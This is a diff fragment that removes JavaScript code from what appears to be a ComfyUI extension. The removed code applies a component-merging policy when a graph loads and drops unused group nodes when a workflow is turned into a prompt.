-	let graphData = arguments[0];
-	let groupNodes = graphData.extra?.groupNodes;
-	let res = getChangedVersion(groupNodes);
-
-	if(res) {
-		let target_components = null;
-		switch(current_component_policy) {
-		case 'higher':
-			target_components = Object.keys(res).filter(key => res[key] == 1);
-			break;
-
-		case 'mine':
-			target_components = Object.keys(res);
-			break;
-
-		default:
-			// do nothing
-		}
-
-		if(target_components) {
-			for(let i in target_components) {
-				let component_name = target_components[i];
-				let component = rpack_map[component_name];
-				if(component && graphData.extra?.groupNodes) {
-					graphData.extra.groupNodes[component_name] = component;
-				}
-			}
-		}
-	}
-	else {
-		console.log('Empty components: policy ignored');
-	}
-
-	arguments[0] = graphData;
-	return await loadGraphData.apply(this, arguments);
-};
-
-export function set_component_policy(v) {
-	current_component_policy = v;
-}
-
-let graphToPrompt = app.graphToPrompt;
-app.graphToPrompt = async function () {
-	let p = await graphToPrompt.call(app);
-	try {
-		let groupNodes = p.workflow.extra?.groupNodes;
-		if(groupNodes) {
-			p.workflow.extra = { ... p.workflow.extra};
-
-			// get used group nodes
-			let used_group_nodes = new Set();
-			for(let node of p.workflow.nodes) {
-				if(node.type.startsWith(`workflow/`) || node.type.startsWith(`workflow${SEPARATOR}`)) {
-					used_group_nodes.add(node.type.substring(9));
-				}
-			}
-
-			// remove unused group nodes
-			let new_groupNodes = {};
-			for (let key in p.workflow.extra.groupNodes) {
-				if (used_group_nodes.has(key)) {
-					new_groupNodes[key] = p.workflow.extra.groupNodes[key];
-				}
-			}
-			p.workflow.extra.groupNodes = new_groupNodes;
-		}
-	}
-	catch(e) {
-		console.log(`Failed to filtering group nodes: ${e}`);
-	}
-
-	return p;
-}